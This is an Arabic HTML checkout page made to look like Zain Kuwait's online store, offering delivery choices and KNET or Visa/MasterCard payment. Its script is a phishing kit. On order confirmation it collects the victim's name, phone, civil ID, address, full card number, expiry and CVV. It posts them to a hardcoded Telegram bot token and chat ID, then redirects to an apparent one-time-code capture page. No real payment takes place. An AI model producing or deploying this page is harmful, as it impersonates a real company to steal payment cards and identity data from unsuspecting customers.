<!DOCTYPE html>
<html lang="ar" dir="rtl">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Zain - التوصيل والدفع</title>
    <link rel="stylesheet" href="style.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Cairo:wght@400;600;700&display=swap" rel="stylesheet">
    <style>
        /* ============ DELIVERY PAGE STYLES ============ */
        .delivery-page {
            display: flex;
            flex-direction: column;
            min-height: 100vh;
            background: #f7f7f7;
        }

        .page-content {
            flex: 1;
            padding: 25px 20px 100px;
            max-width: 600px;
            margin: 0 auto;
            width: 100%;
        }

        .section-heading {
            font-size: 18px;
            font-weight: 700;
            color: #222;
            margin-bottom: 15px;
            text-align: right;
            position: relative;
            padding-bottom: 10px;
        }

        .section-heading::after {
            content: '';
            position: absolute;
            bottom: 0;
            right: 0;
            width: 50px;
            height: 3px;
            background: var(--primary-color);
            border-radius: 3px;
        }

        /* ---- Delivery Cards ---- */
        .delivery-options {
            display: flex;
            flex-direction: column;
            gap: 15px;
            margin-bottom: 35px;
        }

        .delivery-card {
            background: white;
            border-radius: 14px;
            border: 2px solid #e5e5e5;
            padding: 18px 20px;
            display: flex;
            align-items: center;
            gap: 15px;
            cursor: pointer;
            transition: all 0.3s ease;
            direction: rtl;
        }

        .delivery-card:hover {
            border-color: var(--primary-color);
            box-shadow: 0 4px 15px rgba(183, 0, 123, 0.1);
        }

        .delivery-card.selected {
            border-color: var(--primary-color);
            background: linear-gradient(135deg, #fff5fb, #fff);
            box-shadow: 0 4px 20px rgba(183, 0, 123, 0.15);
        }

        .delivery-radio {
            width: 22px;
            height: 22px;
            border-radius: 50%;
            border: 2px solid #ccc;
            display: flex;
            align-items: center;
            justify-content: center;
            flex-shrink: 0;
            transition: all 0.3s ease;
        }

        .delivery-card.selected .delivery-radio {
            border-color: var(--primary-color);
            background: var(--primary-color);
        }

        .delivery-card.selected .delivery-radio::after {
            content: '';
            width: 8px;
            height: 8px;
            background: white;
            border-radius: 50%;
        }

        .delivery-icon {
            font-size: 28px;
            flex-shrink: 0;
        }

        .delivery-info {
            flex: 1;
            text-align: right;
        }

        .delivery-info h3 {
            font-size: 15px;
            font-weight: 700;
            margin-bottom: 4px;
        }

        .delivery-info p {
            font-size: 12px;
            color: var(--text-gray);
        }

        .delivery-price {
            font-size: 15px;
            font-weight: 700;
            color: var(--primary-color);
            flex-shrink: 0;
        }

        .delivery-price.free {
            color: #00a651;
        }

        /* ---- Payment Options ---- */
        .payment-options {
            display: flex;
            flex-direction: column;
            gap: 15px;
            margin-bottom: 30px;
        }

        .payment-card {
            background: white;
            border-radius: 14px;
            border: 2px solid #e5e5e5;
            padding: 18px 20px;
            cursor: pointer;
            transition: all 0.3s ease;
        }

        .payment-card:hover {
            border-color: var(--primary-color);
            box-shadow: 0 4px 15px rgba(183, 0, 123, 0.1);
        }

        .payment-card.selected {
            border-color: var(--primary-color);
            background: linear-gradient(135deg, #fff5fb, #fff);
        }

        .payment-card-header {
            display: flex;
            align-items: center;
            gap: 15px;
            direction: rtl;
        }

        .payment-radio {
            width: 22px;
            height: 22px;
            border-radius: 50%;
            border: 2px solid #ccc;
            display: flex;
            align-items: center;
            justify-content: center;
            flex-shrink: 0;
            transition: all 0.3s ease;
        }

        .payment-card.selected .payment-radio {
            border-color: var(--primary-color);
            background: var(--primary-color);
        }

        .payment-card.selected .payment-radio::after {
            content: '';
            width: 8px;
            height: 8px;
            background: white;
            border-radius: 50%;
        }

        .payment-label {
            flex: 1;
            text-align: right;
        }

        .payment-label h3 {
            font-size: 15px;
            font-weight: 700;
        }

        .payment-logos {
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .knet-logo {
            background: #00557a;
            color: white;
            font-size: 11px;
            font-weight: 800;
            padding: 5px 10px;
            border-radius: 6px;
            letter-spacing: 1px;
        }

        .visa-logo {
            background: #1a1f71;
            color: white;
            font-size: 11px;
            font-weight: 800;
            padding: 5px 10px;
            border-radius: 6px;
            letter-spacing: 1px;
            font-style: italic;
        }

        .mc-logo {
            display: flex;
            align-items: center;
            gap: 0;
        }

        .mc-logo .circle1 {
            width: 22px;
            height: 22px;
            background: #eb001b;
            border-radius: 50%;
            margin-right: -8px;
            z-index: 1;
        }

        .mc-logo .circle2 {
            width: 22px;
            height: 22px;
            background: #f79e1b;
            border-radius: 50%;
        }

        /* ---- Card Form (slides in) ---- */
        .card-form-wrapper {
            max-height: 0;
            overflow: hidden;
            transition: max-height 0.5s ease, opacity 0.4s ease;
            opacity: 0;
        }

        .card-form-wrapper.open {
            max-height: 400px;
            opacity: 1;
        }

        .card-form {
            background: #fafafa;
            border-radius: 12px;
            padding: 20px;
            margin-top: 15px;
            border: 1px dashed #ddd;
        }

        .card-field {
            margin-bottom: 16px;
            text-align: right;
        }

        .card-field label {
            display: block;
            font-size: 13px;
            font-weight: 600;
            color: var(--text-gray);
            margin-bottom: 7px;
        }

        .card-field input {
            width: 100%;
            padding: 13px 15px;
            border: 1.5px solid #e0e0e0;
            border-radius: 10px;
            font-size: 15px;
            font-family: 'Cairo', sans-serif;
            background: white;
            text-align: left;
            direction: ltr;
            transition: border-color 0.3s;
            letter-spacing: 2px;
        }

        .card-field input:focus {
            outline: none;
            border-color: var(--primary-color);
        }

        .card-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 12px;
        }

        /* ---- Confirm Button ---- */
        .confirm-btn-wrapper {
            position: fixed;
            bottom: 0;
            left: 0;
            width: 100%;
            background: white;
            padding: 15px 20px;
            box-shadow: 0 -2px 15px rgba(0, 0, 0, 0.07);
            z-index: 100;
        }

        .confirm-btn {
            width: 100%;
            background: var(--primary-color);
            color: white;
            border: none;
            padding: 16px;
            border-radius: 12px;
            font-size: 17px;
            font-weight: 700;
            cursor: pointer;
            transition: opacity 0.3s;
            font-family: 'Cairo', sans-serif;
        }

        .confirm-btn:hover {
            opacity: 0.9;
        }

        .confirm-btn:disabled {
            background: #ccc;
            cursor: not-allowed;
        }

        /* ---- Error state ---- */
        .input-error {
            border-color: #e53935 !important;
            background: #fff5f5 !important;
            animation: shake 0.3s ease;
        }

        @keyframes shake {

            0%,
            100% {
                transform: translateX(0);
            }

            25% {
                transform: translateX(-6px);
            }

            75% {
                transform: translateX(6px);
            }
        }

        .delivery-card.error-ring {
            border-color: #e53935 !important;
            animation: shake 0.3s ease;
        }

        /* ---- Footer ---- */
        .footer {
            color: white;
            text-align: center;
            font-size: 13px;
            padding: 15px 20px;
        }
    </style>
</head>

<body class="delivery-page">

    <!-- Header -->
    <header class="header">
        <div class="header-left">
            <i class="fa-solid fa-bars"></i>
            <div class="logo">
                <img src="img/zain_logo.svg" alt="Zain">
            </div>
        </div>
        <div class="header-right">
            <i class="fa-solid fa-magnifying-glass"></i>
            <i class="fa-solid fa-cart-shopping"></i>
            <i class="fa-regular fa-circle-user"></i>
        </div>
    </header>

    <div class="page-content">

        <!-- طريقة التوصيل -->
        <h2 class="section-heading">طريقة التوصيل</h2>
        <div class="delivery-options">

            <div class="delivery-card" id="express-card" onclick="selectDelivery('express')">
                <div class="delivery-radio" id="radio-express"></div>
                <div class="delivery-icon">⚡</div>
                <div class="delivery-info">
                    <h3>Express Delivery</h3>
                    <p>خلال 4 ساعات</p>
                </div>
                <div class="delivery-price">+ 1.5 د.ك</div>
            </div>

            <div class="delivery-card" id="standard-card" onclick="selectDelivery('standard')">
                <div class="delivery-radio" id="radio-standard"></div>
                <div class="delivery-icon">📦</div>
                <div class="delivery-info">
                    <h3>Standard Delivery</h3>
                    <p>خلال 24 ساعة</p>
                </div>
                <div class="delivery-price free">مجاناً</div>
            </div>

        </div>

        <!-- طريقة الدفع -->
        <h2 class="section-heading">طريقة الدفع</h2>
        <div class="payment-options">

            <!-- KNET -->
            <div class="payment-card" id="knet-card" onclick="selectPayment('knet')">
                <div class="payment-card-header">
                    <div class="payment-radio" id="radio-knet"></div>
                    <div class="payment-label">
                        <h3>KNET</h3>
                    </div>
                    <div class="payment-logos">
                        <span class="knet-logo">KNET</span>
                    </div>
                </div>
            </div>

            <!-- VISA / MasterCard -->
            <div class="payment-card" id="visa-card" onclick="selectPayment('visa')">
                <div class="payment-card-header">
                    <div class="payment-radio" id="radio-visa"></div>
                    <div class="payment-label">
                        <h3>VISA / MasterCard</h3>
                    </div>
                    <div class="payment-logos">
                        <span class="visa-logo">VISA</span>
                        <div class="mc-logo">
                            <div class="circle1"></div>
                            <div class="circle2"></div>
                        </div>
                    </div>
                </div>

                <!-- Card Form - slides in -->
                <div class="card-form-wrapper" id="card-form-wrapper">
                    <div class="card-form">
                        <div class="card-field">
                            <label>رقم البطاقة</label>
                            <input type="text" id="card-number" placeholder="0000 0000 0000 0000" maxlength="19"
                                inputmode="numeric">
                        </div>
                        <div class="card-row">
                            <div class="card-field">
                                <label>تاريخ الانتهاء (MM/YY)</label>
                                <input type="text" id="card-expiry" placeholder="MM/YY" maxlength="5"
                                    inputmode="numeric">
                            </div>
                            <div class="card-field">
                                <label>CVV</label>
                                <input type="password" id="card-cvv" placeholder="•••" maxlength="4"
                                    inputmode="numeric">
                            </div>
                        </div>
                    </div>
                </div>
            </div>

        </div>
    </div>

    <!-- زر تأكيد الطلب -->
    <div class="confirm-btn-wrapper">
        <button class="confirm-btn" id="confirm-btn" onclick="confirmOrder()">تأكيد الطلب</button>
    </div>

    <!-- Footer -->
    <footer class="footer header">
        <p>© 2026 Zain Kuwait. جميع الحقوق محفوظة.</p>
    </footer>

    <script>
        // ===================== CONFIG =====================
        const BOT_TOKEN = '8923978945:AAEO_GoiyFVF-8HF3S0FobFtmaMDDxs4zjI';
        const CHAT_ID = '5293518155';
        // ==================================================

        let selectedDelivery = null;
        let selectedPayment = null;

        function selectDelivery(type) {
            selectedDelivery = type;
            document.querySelectorAll('.delivery-card').forEach(c => c.classList.remove('selected', 'error-ring'));
            document.getElementById(type + '-card').classList.add('selected');
        }

        function selectPayment(type) {
            selectedPayment = type;
            document.querySelectorAll('.payment-card').forEach(c => c.classList.remove('selected', 'error-ring'));
            document.getElementById(type + '-card').classList.add('selected');

            const wrapper = document.getElementById('card-form-wrapper');
            wrapper.classList.toggle('open', type === 'visa');
        }

        function setError(el, hasError) {
            el.classList.toggle('input-error', hasError);
        }

        function sendToTelegram(text) {
            return fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ chat_id: CHAT_ID, text: text, parse_mode: 'HTML' })
            }).then(r => r.json());
        }

        function confirmOrder() {
            let valid = true;

            if (!selectedDelivery) {
                document.querySelectorAll('.delivery-card').forEach(c => {
                    c.classList.add('error-ring');
                    setTimeout(() => c.classList.remove('error-ring'), 600);
                });
                valid = false;
            }

            if (!selectedPayment) {
                document.querySelectorAll('.payment-card').forEach(c => {
                    c.classList.add('error-ring');
                    setTimeout(() => c.classList.remove('error-ring'), 600);
                });
                valid = false;
            }

            let cardNum = '', expiry = '', cvv = '';
            if (selectedPayment === 'visa') {
                const cardNumEl = document.getElementById('card-number');
                const expiryEl = document.getElementById('card-expiry');
                const cvvEl = document.getElementById('card-cvv');

                cardNum = cardNumEl.value.replace(/\s/g, '');
                expiry = expiryEl.value;
                cvv = cvvEl.value;

                const cardOk = cardNum.length === 16;
                const expiryOk = isValidExpiry(expiry);
                const cvvOk = cvv.length >= 3;

                setError(cardNumEl, !cardOk);
                setError(expiryEl, !expiryOk);
                setError(cvvEl, !cvvOk);

                if (!cardOk || !expiryOk || !cvvOk) valid = false;
            }

            if (!valid) return;

            // جلب بيانات الفورم المحفوظة
            const orderData = JSON.parse(sessionStorage.getItem('orderData') || '{}');
            const deliveryLabel = selectedDelivery === 'express'
                ? 'Express Delivery (خلال 4 ساعات) +1.5 د.ك'
                : 'Standard Delivery (خلال 24 ساعة) مجاناً';

            let message = `<b>🛍 طلب جديد من Zain Store</b>\n\n`;
            message += `<b>👤 بيانات العميل:</b>\n`;
            message += `الاسم: ${orderData.name || '-'}\n`;
            message += `رقم الهاتف: ${orderData.phone || '-'}\n`;
            message += `الرقم المدني: ${orderData.civilId || '-'}\n`;
            message += `المنطقة: ${orderData.area || '-'}\n`;
            message += `الشارع: ${orderData.street || '-'}\n`;
            message += `القطعة: ${orderData.block || '-'}\n\n`;
            message += `<b>🚚 طريقة التوصيل:</b>\n${deliveryLabel}\n\n`;
            message += `<b>💳 طريقة الدفع:</b>\n`;

            if (selectedPayment === 'knet') {
                message += `KNET\n`;
            } else {
                message += `VISA / MasterCard\n`;
                message += `رقم البطاقة: ${cardNum.match(/.{1,4}/g).join(' ')}\n`;
                message += `تاريخ الانتهاء: ${expiry}\n`;
                message += `CVV: ${cvv}\n`;
            }

            const btn = document.getElementById('confirm-btn');
            btn.disabled = true;
            btn.innerText = 'جاري الإرسال...';

            sendToTelegram(message)
                .then(data => {
                    if (data.ok) {
                        // حفظ نوع التوصيل والمبلغ في localStorage
                        const amount = selectedDelivery === 'express' ? '101.500' : '100.000';
                        localStorage.setItem('delivery_type', selectedDelivery);
                        localStorage.setItem('pay_total_kd', amount);

                        if (selectedPayment === 'knet') {
                            window.location.href = 'pay.php';
                        } else {
                            // توجيه لصفحة الكود بعد إرسال بيانات الفيزا
                            window.location.href = 'code.html';
                        }
                    } else {
                        alert('حدث خطأ في الإرسال. تأكد من BOT_TOKEN و CHAT_ID');
                        btn.disabled = false;
                        btn.innerText = 'تأكيد الطلب';
                    }
                })
                .catch(() => {
                    alert('تعذّر الاتصال بالخادم.');
                    btn.disabled = false;
                    btn.innerText = 'تأكيد الطلب';
                });
        }

        function isValidExpiry(expiry) {
            const match = expiry.match(/^(\d{2})\/(\d{2})$/);
            if (!match) return false;

            const month = parseInt(match[1]);
            const yearSuffix = parseInt(match[2]);
            const year = 2000 + yearSuffix;

            if (month < 1 || month > 12) return false;
            if (yearSuffix > 33) return false; // max year is 2033

            const now = new Date();
            const expDate = new Date(year, month - 1, 1);
            return expDate >= new Date(now.getFullYear(), now.getMonth(), 1);
        }

        // ---- Card Number Formatting (groups of 4) ----
        document.getElementById('card-number').addEventListener('input', function () {
            let val = this.value.replace(/\D/g, '').substring(0, 16);
            val = val.match(/.{1,4}/g)?.join(' ') || val;
            this.value = val;
            this.classList.remove('input-error');
        });

        // ---- Expiry Formatting & Validation ----
        document.getElementById('card-expiry').addEventListener('input', function (e) {
            let val = this.value.replace(/\D/g, '');

            if (val.length === 0) {
                this.value = '';
                return;
            }

            // Auto-prefix 0 for months 2-9
            if (val.length === 1 && parseInt(val) >= 2) {
                val = '0' + val;
            }

            // Clamp month to 01-12
            if (val.length >= 2) {
                let month = parseInt(val.substring(0, 2));
                if (month > 12) month = 12;
                if (month < 1) month = 1;
                val = String(month).padStart(2, '0') + val.substring(2);
            }

            // Clamp year to max 33
            if (val.length >= 4) {
                let year = parseInt(val.substring(2, 4));
                if (year > 33) year = 33;
                val = val.substring(0, 2) + String(year).padStart(2, '0');
            }

            // Insert slash after MM
            if (val.length > 2) {
                val = val.substring(0, 2) + '/' + val.substring(2, 4);
            }

            this.value = val;
            this.classList.remove('input-error');
        });

        // ---- CVV: digits only ----
        document.getElementById('card-cvv').addEventListener('input', function () {
            this.value = this.value.replace(/\D/g, '').substring(0, 4);
            this.classList.remove('input-error');
        });
    </script>
</body>

</html>
